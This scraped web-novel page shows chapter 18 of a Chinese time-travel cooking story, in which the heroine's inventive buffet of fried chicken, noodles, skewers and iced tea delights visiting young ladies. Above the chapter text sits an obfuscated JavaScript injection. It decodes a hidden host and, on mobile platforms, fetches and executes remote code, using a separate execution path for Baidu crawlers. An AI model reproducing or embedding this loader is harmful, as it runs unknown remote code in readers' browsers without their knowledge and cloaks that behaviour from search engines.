妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第18章(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

致力于改善猪肉口味的祝明璃自然不可能忘了猪肉,处理过的猪肉仍带腥臊,就必须通过做法来改善。

红烧排骨、蒜香排骨、爆炒回锅肉、锅包肉……什么口味的都有,任君挑选。若是普通菜色还不能让你爱上猪肉,那么请尝试后世席卷景区的火山石烤肠。

腌制调味、剁成肉糜混合淀粉、肠衣包裹,量不多,祝明璃本人还不够吃呢。

什么?想吃面条,那也有。

小碗装的,两口嗦完,杂酱面、鱼丸面、热干面、酸汤面,小厨房做惯了,出餐快,口味也稳定。分成小碟装看着多,但其实一锅做一样,灶台完全够用。

有肉有主食,蔬菜可不能少,营养要均衡。

可惜做完以上菜色,厨房人手不够啦,所以祝明璃只能取巧,做串串香。蔬菜用竹签串起来,放在两个锅底里煮,一个是加了茱萸的香辣味,一个是用海带、萝卜、清酱、香菇等物仿制的关东煮汤底。

此时鸡汤猪骨熬制而成的高汤不稀奇,但关东煮汤底可没人吃过。海带是味精提取的原料,鲜味儿极重,加了糖的汤底更是提鲜一把好手,看着清,却回味鲜美。

蔬菜都是有什么煮什么,芜菁、萝卜、韭菜、藕片、胡瓜……女大学生靠吃麻辣烫补充蔬菜营养,想来小娘子们也能习惯。再用炸豆腐包裹鱼糜、鱼籽做福袋,保证食材上的新奇。

她们来得太早,祝明璃研究的米粉还没成功。虽传说五胡乱华时期就有米粉了,但至少在此时的北方没有这种主食,制作工艺繁琐,步骤太多,小作坊正在缓慢试验中。

她的各种遗憾无人能共情,所有人看着“自助餐”陷入了目瞪口呆的局面——包括沈令仪。

以往还有丫鬟温声细语介绍,但这次样式太多,报菜名会报得口干舌燥,只能道:“小娘子们口味不一,各自挑选自己喜欢的就好。”

这可让小娘子们陷入了艰难的境地,眼睛都看花了,太难了。

有了甜糕饮子的经验,大家心里对创新菜色的期待值拉到了最高,来都来了,谁还要吃常见的菜色,纷纷动手取没见过的菜。

祝明璃之所以把地点选在小花园,就是想让小娘子们放松吃喝玩乐,不拘着自个儿。

前面的玩乐已经让气氛活跃到了顶峰,到了用膳的时候,所有人都极其放松,所以完全不拘谨,想吃什么自己动手拿就是了。

大家没见过这种形式的聚会,以前都是入府后进厅堂,有墙的正堂和在外面饮食区别很大,外面和踏青野餐一样,能让人自然放松。

而且以前无论双方多熟络,也不能当着丫鬟们的面失了规矩。可是沈府的丫鬟姐姐格外温柔,也不板着脸守着,上完菜就站得远远的。

最后一层顾忌没了,又都是活泼的年纪,直接撒开了吃喝。

“这竟然是鸡肉?”炸鸡外壳轻薄酥脆,肉汁鲜香,外面蒜香甜辣的酱汁更是让人上瘾。

火山石烤肠也让不爱猪肉的小娘子陷入迷惑,鲜香之中透着回甘,这真的是难吃至极的猪肉吗?

迷惑的时间不长,因为其他人手太快了,生怕和糕点一样,被一抢而空,有思考询问的功夫不如再端一碟入口!

不爱油荤也不爱重口的小娘子第一次聚会吃到心坎儿上了,鱼丸白净,面汤清亮,洒上青葱,卖相极好。再试一试酸汤面,直接胃口大开,向关东煮锅底的串串下手,萝卜被小火煮得晶莹剔透,提前用米汤去了苦味,只剩清甜,一抿就化,几根下去脾胃舒畅。

不是所有小姑娘都能吃惯羊汤鸡汤,总觉得荤腥味儿重,关东煮很好地弥补了这一点,又鲜又甜的同时却很清淡,吃到最后干脆舀一碗汤饮下,浑身通透。

“从未吃过这般口味的汤底,若是我家厨娘也有这手艺,何至于每□□着自己咽油荤。”这位小娘子放到现代一定是味精的忠实粉丝。

这次大家十分默契,不再把时间浪费在谈话上,埋头一顿吃,争取在短时间内把所有新鲜菜色全尝一遍。

唯一的对话就是:“玉娘,帮我递一下那个。”

“六娘,帮我传一下汤面。”

后来发现远方的小娘子忙着吃,无暇顾及自己,干脆起身绕一圈过去拿,以往宴会哪敢这么松弛呀。

吃爽了,出汗了,正准备停止战斗时,温柔耐心的丫鬟像一道光般出现了。

“小娘子们,要不要尝尝冰红茶,解腻。”

没有柠檬,酸味只能用酸杏代替,山楂健脾消食必不可少,放入茶汤能模仿个七成滋味。此时吃喝玩乐水平并不落后,冰镇饮料相当流行,皇室与贵族都有冰窖,若是没有,世面上还有专门卖冰的商人。

今日一早茶水室的丫鬟们就取冰给饮子降温,保证解腻的同时又不会太寒伤胃。

小娘子们人手一杯,仰头一口,酸甜中带着茶汤的清香,那叫一个爽。

“啊——”实在忍不住长叹一声,终于理解了父兄吃炙肉配酒时为何总爱发出怪声。

小甜水做缓冲,还可以再战!

等到碗碟一扫而空,大家惊讶为何准备的量这么少时,才发现自己早就吃撑了。

真是一场酣畅淋漓的豪吃啊,小娘子们抚着肚皮,长舒一口气。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间